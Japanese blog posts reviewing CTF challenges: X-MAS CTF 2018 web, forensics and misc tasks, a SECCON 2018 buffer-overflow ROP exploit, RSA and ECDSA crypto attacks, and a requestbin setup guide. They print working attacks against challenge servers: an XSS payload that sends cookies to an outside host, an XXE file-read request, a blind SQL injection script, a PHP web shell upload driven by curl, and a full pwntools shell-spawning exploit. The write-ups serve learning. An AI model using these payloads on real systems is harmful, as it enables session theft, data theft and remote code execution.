X-MAS CTF 2018 供養(Webとか)
X-MAS CTFでチラ見以上したけど解けなかった問題の復習をする。(スコアサーバーが動いているうちに、、、)
これはその際のメモとお気持ち。cryptoはまた別でやります。
Santa's lucky number(Web)
以下問題文。
Come on! Santa's lucky number is pretty predictable, don't you think? ;) Server: http://199.247.6.180:12005
とりあえずアクセスしてみると以下のような画面がでてくる。 適当にボタンを押してみるがハッシュ値っぽい数字が出てくるだけ。。。ここで意味がわからず競技中は放置してしまった。
Santa loves hiding his secrets on the page numbered as his lucky number :)
どうやらhttp://199.247.6.180:12005/?page=4
の値を順に調べて行くとFLAG出たらしい。(なぜ思いつけなかったんだ、、、
import requests import re url = 'http://199.247.6.180:12005' i = 0 while True: payload = {'page': str(i)} r = requests.get(url, params=payload) print('[*]Requests: ' + url + '/?page=' + str(i)) if re.search(r'X-MAS', r.text): print(r.text) break; i = i + 1
FLAGはX-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}
Our Christmas Wishlist(Web)
以下、問題文。
We have all gathered round to write down our wishes and desires for this Christmas! Please don't write anything mean, Santa will be reading this! Server: http://199.247.6.180:12001
とりあえずアクセスしてみると以下のような画面が表示される。
ページのソースは以下のようになっていた。
競技中は上記のフォームに対して<script>location.href="http://g0r0g0r0.ga:8000/17fcd1x1?"+document.cookie</script>
こんな感じのscriptが発火するようなpayloadを送信して、サンタ見に来ないじゃん!!ってキレてた。
. . . <script> function lol () { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (xhttp.readyState == 4 && xhttp.status == 200) { document.location.reload(); } }; var xml = "<message>" + document.getElementById("textarea").value + "</message>"; xhttp.open("POST", "/", true); xhttp.setRequestHeader('Content-Type', 'application/xml'); xhttp.send(xml); }; </script> <body background="paper.jpg" style = "margin-left:25px; margin-top:25px;"> <p class="text" style="font-size: 60px">Our Christmas Wishlist!</p> <textarea id="textarea" rows="6" cols="50" placeholder="I wish for a pony..." class="text" style="font-size: 30px"></textarea> <button style="position:relative; bottom:90px; left:20px;" onclick="lol();"></button> <div style="margin-top:24px;"> </div> </body>
他の人のwriteupを見たところ、どうやらXXEによってファイルを読むことができたらしい。(XMLの時点で気づけたらよかったのか。。。)
以下のようなリクエストを送ることでフラグを入手できた。FLAGはX-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}
。
# curl -X POST http://199.247.6.180:12001/ -d '<!DOCTYPE name [<!ENTITY h SYSTEM "file:///var/www/html/flag.txt"> <!-- <D> -->]><message>&h;</message>' Your wish: X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}
Santa's No Password Login System(Web)
職業柄気になったので復習しておく。以下、問題文。
We all know that Santa is quite an old man. He sometimes forgets things. Including his password. Therefore, our high-tech gnomegineer department worked the whole last night to develop a new login system, that requires no passwords! Nifty. Server: http://199.247.6.180:12003
まず、サーバーにアクセスしてみるとサンタニキが出てくるだけで、これといった入力フォームなどはない、、、
とりあえずソースを表示してみたが、mp3のいい感じの音楽を聞いただけでギブアップ。
<div id="snowflakeContainer"> <p class="snowflake">*</p> </div> <body style="background-color:black"> <!--Bells and Whistles--> <script src="flsnowcompress.js"></script> <audio autoplay> <source src="christmas.mp3" type="audio/mpeg"> </audio> <img class="center" style="width:200; height:323; margin-top:100px" src="santa.png"></img> <p class="text" align="center">Santa's No-Password Login!</p> <p class="text" align="center" style="margin-top:-60px; font-size: 32px; opacity: 0.8;">You don't seem to be using an official Computer from Santa's Laboratory!</p> <p class="text" align="center" style="margin-top:-40px; font-size: 26px; opacity: 0.8; color: red;">Access Denied! </p> </body>
他のwriteupを見てみると、どうやらUserAgentにsqliの脆弱性があったらしい。あとは、以下のようなスクリプトを実行し、Blind SQLインジェクションをしてFLAGをゲットして終わりだったようだ。
import urllib2 flag = "" chars = '-\{\}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_' for i in range(0, 37): for i in range(0, len(chars)): str = """' OR ua LIKE BINARY "{}%";#""".format(flag+chars[i]) headers = { 'User-Agent': str, } req=urllib2.Request("http://199.247.6.180:12003/", None, headers) response=urllib2.urlopen(req).read() if "Welcome" in response: flag += chars[i] print flag break
以下、実行結果。FLAGはX-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}
。
自分もこういうのを見つけられるようになりたい。。。(みんなどうやって見つけてるんだろう??)
# python solve.py X X- X-M X-MA X-MAS X-MAS{ X-MAS{E X-MAS{EV X-MAS{EV3 X-MAS{EV3R X-MAS{EV3RY X-MAS{EV3RY0 X-MAS{EV3RY0N X-MAS{EV3RY0NE X-MAS{EV3RY0NE_ X-MAS{EV3RY0NE_F X-MAS{EV3RY0NE_F3 X-MAS{EV3RY0NE_F34 X-MAS{EV3RY0NE_F34R X-MAS{EV3RY0NE_F34R5 X-MAS{EV3RY0NE_F34R5_ X-MAS{EV3RY0NE_F34R5_T X-MAS{EV3RY0NE_F34R5_TH X-MAS{EV3RY0NE_F34R5_TH3 X-MAS{EV3RY0NE_F34R5_TH3_ X-MAS{EV3RY0NE_F34R5_TH3_B X-MAS{EV3RY0NE_F34R5_TH3_BL X-MAS{EV3RY0NE_F34R5_TH3_BL1 X-MAS{EV3RY0NE_F34R5_TH3_BL1N X-MAS{EV3RY0NE_F34R5_TH3_BL1ND X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_ X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_G X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0 X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3 X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}
参考
X-MAS CTF 2018 writeup
仕事終わりとかにチマチマやっていました。
cryptoを一問も解けていないので哀しみ。あとで復習します。 そこそこ復習しました。
反省会会場はこちら。
Santa The Weaver(Misc)
画像が降ってくるのでstringsコマンドを実行する。
X-MAS{S4n7a_l1k3s_h1di()g_gif7$}
Oh Christmas Tree(Forensics)
なんか降ってきた画像をstringsコマンド実行したら出力の一番下に{this_is_not_the_flag_you_are_looking_for}
とか書いてあったので上の方を見てみたらフラグがでてきた。
X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}
Message from Santa(Forensics)
imgファイルが降ってくる。binwalkコマンドで中身をみてみるとpngファイルがたくさんあったので、7zコマンドで展開する。
$ binwalk classified_gift_distribution_schema.img $ 7z l classified_gift_distribution_schema.img $ 7z e classified_gift_distribution_schema.img
画像をつなぎ合わせてフラグを読んでおしまい。(人力)
from PIL import Image #alphabet = ['a', 'a1', 'a2', 'a3', 'a4', 'a5','a6', 'a7', 'a9', 'a10', 'a11','b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] alphabet_0 = ['a11', 'j', 'a5'] alphabet_1 = ['b', 'k', 'a3', 'q', 'l', 'e', 'w', 'a4', 'i', 'm', 'p'] alphabet_2 = ['a7', 'n', 's', 'o', 'a10', 'r', 'f'] alphabet_3 = ['h', 'v', 'c', 'a2', 'g', 'a6', 'u'] alphabet_4 = ['a', 'a1', 'a9', 't', 'x', 'y', 'z'] images0 = map(Image.open, [i+".png" for i in alphabet_0]) images0 = list(images0) widths0, heights0 = zip(*(i.size for i in images0)) total_width0 = sum(widths0) max_height0 = max(heights0) new_im0 = Image.new('RGB', (total_width0, max_height0)) x_offset0 = 0 for im in images0: new_im0.paste(im, (x_offset0,0)) x_offset0 += im.size[0] new_im0.save('test0.jpg') images1 = map(Image.open, [i+".png" for i in alphabet_1]) images1 = list(images1) widths1, heights1 = zip(*(i.size for i in images1)) total_width1 = sum(widths1) max_height1 = max(heights1) new_im1 = Image.new('RGB', (total_width1, max_height1)) x_offset1 = 0 for im in images1: new_im1.paste(im, (x_offset1,0)) x_offset1 += im.size[0] new_im1.save('test1.jpg') images2 = map(Image.open, [i+".png" for i in alphabet_2]) images2 = list(images2) widths2, heights2 = zip(*(i.size for i in images2)) total_width2 = sum(widths2) max_height2 = max(heights2) new_im2 = Image.new('RGB', (total_width2, max_height2)) x_offset2 = 0 for im in images2: new_im2.paste(im, (x_offset2,0)) x_offset2 += im.size[0] new_im2.save('test2.jpg') images3 = map(Image.open, [i+".png" for i in alphabet_3]) images3 = list(images3) widths3, heights3 = zip(*(i.size for i in images3)) total_width3 = sum(widths3) max_height3 = max(heights3) new_im3 = Image.new('RGB', (total_width3, max_height3)) x_offset3 = 0 for im in images3: new_im3.paste(im, (x_offset3,0)) x_offset3 += im.size[0] new_im3.save('test3.jpg')
フラグはX-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}
。
Santa's Security Levels
mp3ファイルが降ってくる。再生すると最初はシャンシャンとクリスマスっぽい音楽が流れるが、途中から曲調が変わりピーピー鳴り始める。この時点でモールス信号だと予想がつくので以下のサイトで解析する。
すると、以下のgithubリポジトリに行き着く。 github.com
とりあえず書いてあるメッセージをrot13で復号する。
# printf "vF ur uNq nAlguvat pbasvqraGvNy gb fnl, ur jebgr Vg ia pvcure, gung vF, ol FB punaTvat gur beqre bs gur Yf bs gur nycuNorg, gung abg n jbeQ pbhyq or ZnQR bHg." | nkf -r iS he hAd aNything confidenTiAl to say, he wrote It vn cipher, that iS, by SO chanGing the order of the Letters of the alphAbet, that not a worD could be MaDE oUt.
最後に大文字のみを拾ってFLAGフォーマットにしておしまい。
X-MAS{santaissogladmdeu}
GnomeArena: Rock Paper Scissors(Web)
以下問題文。
This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win? Server: http://199.247.6.180:12002
とりあえずサーバーにアクセスする。すると、以下のようなページが現れてジャンケンをすることができる。 しばらくジャンケンをしてみても何もおこらないので、settigsのページへ行ってみる。すると、画像のアップロード機能が用意されている。 一応画像以外のファイルはアップロードできなくなっていたが、以下のように適当にファイルをつなぎ合わせてヘッダのみpngにしてやると任意のファイルをアップロードすることができる。
$ cat noimage sample.php > exploit.php
phpのファイルとしては以下のようなものを用意して、アップロードする。
<pre> <?php echo system($_GET["cmd"]); ?> </pre>
アップロード後、Nameをアップロードしたファイルと同じにすると、http://199.247.6.180:12002/avatars/exploit.php
みたいな場所からファイルを取得してくるので、そこを辿って処理を読むことができる。
あとは適当にコマンドを実行してフラグを探して終わり。
$ curl -X GET "http://199.247.6.180:12002/avatars/exploit.php?cmd=cat /var/www/html/flag.txt"
フラグはX-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}
。
SECCON2018 Classic Pwn 供養
SECCON2018 Classic Pwn
当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。
Classic Pwn
まずはfileコマンドから。
$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped
次にchecksecの結果を確認。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。
$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL" IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。
$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: file format elf64-x86-64 Disassembly of section .plt: 0000000000400510 <puts@plt-0x10>: 400510: push QWORD PTR [rip+0x200af2] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400516: jmp QWORD PTR [rip+0x200af4] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40051c: nop DWORD PTR [rax+0x0] 0000000000400520 <puts@plt>: 400520: jmp QWORD PTR [rip+0x200af2] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400526: push 0x0 40052b: jmp 400510 <_init+0x28> 0000000000400530 <setbuf@plt>: 400530: jmp QWORD PTR [rip+0x200aea] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20> 400536: push 0x1 40053b: jmp 400510 <_init+0x28> 0000000000400540 <printf@plt>: 400540: jmp QWORD PTR [rip+0x200ae2] # 601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400546: push 0x2 40054b: jmp 400510 <_init+0x28> 0000000000400550 <__libc_start_main@plt>: 400550: jmp QWORD PTR [rip+0x200ada] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400556: push 0x3 40055b: jmp 400510 <_init+0x28> 0000000000400560 <gets@plt>: 400560: jmp QWORD PTR [rip+0x200ad2] # 601038 <_GLOBAL_OFFSET_TABLE_+0x38> 400566: push 0x4 40056b: jmp 400510 <_init+0x28>
まず、pop rdi
-> puts@got
-> puts@plt
-> main
して libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。
payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) ... leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"]
"pop rdi; ret"
はgdb-pedaの中で以下のように調べることができる。
gdb-peda$ b main Breakpoint 1 at 0x4006ad gdb-peda$ r gdb-peda$ ropsearch "pop rdi" Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00400753 : (b'5fc3') pop rdi; ret
次にpop rdi
->/bin/sh addr
してsystem("/bin/sh")
を呼び出しておわり。
payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef)
最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)
from pwn import * def main(): conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253") popret = 0x400753 payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) conn.recvuntil(">> ") conn.sendline(payload) conn.recvuntil("Have a nice pwn!!\n") leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"] print "libc_base: " + hex(libc_base) print "system_addr: " + hex(system_addr) payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef) conn.recvuntil(">> ") conn.sendline(payload) conn.interactive() if __name__ == "__main__": main()
おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。
参考
http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940
squarectf2018 writeup
なかなか時間が確保できない今日この頃だが、脳死で解けそうなcrypto問があったので一応解いておいた。
C2: flipping bits
以下問題文。
Disabling C2 requires cracking a RSA message. You have two ciphertexts. The public key is (e1, n). Fortunately (this time), space rabiation caused some bit flibs and the second ciphertext was encrypted with a faulty public key (e2, n). Can you recover the plaintexts?
ダウンロードしたjarを展開すると以下の内容のテキストファイルが出てくる。
ct1: 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654 ct2: 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065 e1: 13 e2: 15 modulus: 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627 You have two captured ciphertexts. The public key is (e1, n). But, due to a transient bit flip, the second ciphertext was encrypted with a faulty public key: (e2, n). Recover the plaintexts. (The algorithm is RSA.)
bit flipとか書いてあってめんどくさそうな気がめちゃくちゃしたが、とりあえずRSA問ということで、いつもどおり使える攻撃が何かないか探してみる。
elliptic-shiho.hatenablog.com
今回はm(平文)
とn
が共通でe
が異なるc(暗号文)
の組みがあるので、Common Modulus Attackが利用できそう。
適当にコードを書く。(勢い余ってpython2で書いてしまった)
import sys import gmpy import binascii def common_modulus_attack(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) m = (v * w) % n return m if __name__ == '__main__': n = 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627 e1 = 13 e2 = 15 c1 = 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654 c2 = 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065 print binascii.unhexlify(hex(common_modulus_attack(c1, c2, e1, e2, n))[2:])
解けた。FLAGはflag-54d3db5c1efcd7afa579c37bcb560ae0
。
所感
スコアリングの方式は謎だったが、問題の難易度的にはクソ雑魚の自分でも楽しめるくらいだったようだ。(そろそろ難しい問題にも挑戦していけ!?)
来年もできれば参加したい。
requestbinを復活させる話
requestbin復活を復活させる
requestbinがいつか忘れたけどサービス終了してしてまって悲しいので復活方法を自分用メモとして残しておく。 github.com
Digitalocean設定手順(任意)
[Create]ボタンからテキトーにDropletをcreateしていく。スペックはテキトーに選択し、OSはテキトーにCentOS7系を選んどけば動く。
すでに登録したSSH Keyがあれがそれを選択するのも忘れずに。鍵を設定しておけば以下のようにsshできる。(どのユーザー名でログインできるのか大体わすれる)
$ ssh -i [秘密鍵] root@[IPアドレス]
必要に応じでDNSの設定も変更しておく。[Networking]から設定したいDomainを選択し、Aレコードを今回立ち上げたDropletのipアドレスに変更しておく。
(そもそものDigitalOceanでDNS周りを設定する方法はこちらを参考にしていただければ幸いです。
requestbinの復活
requetbinを起動していく。とりあえず各コマンドを雑に実行していく。(怒られそう)
$ sudo yum install git $ sudo yum install docker-ce $ sudo systemctl start docker $ git clone https://github.com/Runscope/requestbin.git $ curl -L https://github.com/docker/compose/releases/download/1.12.0/docker-compose-`uname -s`-`uname -m` > docker-compose $ sudo chmod +x docker-compose $ cd requestbin/ $ sudo ../docker-compose build $ sudo ../docker-compose up -d
docker周りで上手く行かなかったらテキトーにココを見て設定する。最後に[IPアドレス]:8000
にアクセスできればおわり。
参考
id0-rsa.pubのメモ【ECDSA Nonce Recovery】
ECDSA Nonce Recovery
same k attackの話。以下問題文。
As part of signing something using DSA (digital signature algorithm) one must select a secret, cryptographically secure random number k to be used as a nonce. k must never be reused. Why you ask? Well you could ask Sony, or I could just tell you that you can recover k given two signature / message pairs that used the same k and signing key, which can lead to the signing key being compromised. I've signed two messages (z1,z2) with the same k (using the NIST curve P-192), resulting in the signatures (s1,r1) and (s2,r2). Your job is to recover k (submit your answer in hex). Some reading to get started (of most relevance is section 2.3). z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376 s1 = 5416854926380100427833180746305766840425542218870878667299 r1 = 5568285309948811794296918647045908208072077338037998537885 z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879 s2 = 1063435989394679868923901244364688588218477569545628548100 r2 = 5568285309948811794296918647045908208072077338037998537885 n = 6277101735386680763835789423176059013767194773182842284081
same k attackとは、ECDSA、DSA、ElGamal署名あたりの署名アルゴリズムで、二つの別々のメッセージに同じ乱数kで署名を行った場合、kを復元可能という攻撃手法?のこと。割とCTFでは頻出っぽい。(SECCON Beginners2018やVolga CTF 2017でも同様の問題が出題されていた)
とりあえず過去のsolverにブチ込む。以下のような感じで解いてみた。
z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376 s1 = 5416854926380100427833180746305766840425542218870878667299 r1 = 5568285309948811794296918647045908208072077338037998537885 z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879 s2 = 1063435989394679868923901244364688588218477569545628548100 r2 = 5568285309948811794296918647045908208072077338037998537885 n = 6277101735386680763835789423176059013767194773182842284081 def inv(x): return pow(x, n-2, n) k = (z1-z2)*inv(s1-s2) % n print(hex(k))
最初全然Acceptにならなくて困っていたけど、どうやらnを法として計算しないとダメらしい。(ここで初めてnの利用用途に気づく...)
なぜ上記の方程式で復元できるのかはあまりわかっていないので時間があるときにまた調べたい。あと、以前PS3でこの攻撃手法が使えたっぽいことに驚いた。(cryptoも物によっては意外と身近なんだなあ)
参考
id0-rsa.pubのメモ【Intro to PGP】
Intro to PGP
gpgコマンドの使い方の話。
基本的には書かれている内容に沿ってすすめるだけだが、一部不明な点があったので以下の記事も参考に進めた。
qiita.com
まず鍵サーバーpgp.mit.eduでid0rsa.pub.gmailを検索するとkeyIDがA81B09D4
だとわかる。
鍵サーバーから公開鍵を受信する。
$ gpg --keyserver pgp.mit.edu --recv-keys A81B09D
あとはmessage.asc
として保存したメッセージを確認して終了。
$ gpg -o out.txt -d message.asc $ cat out.txt Thank you Phil Zimmermann!
参考
https://qiita.com/spiegel-im-spiegel/items/079d69282166281eb946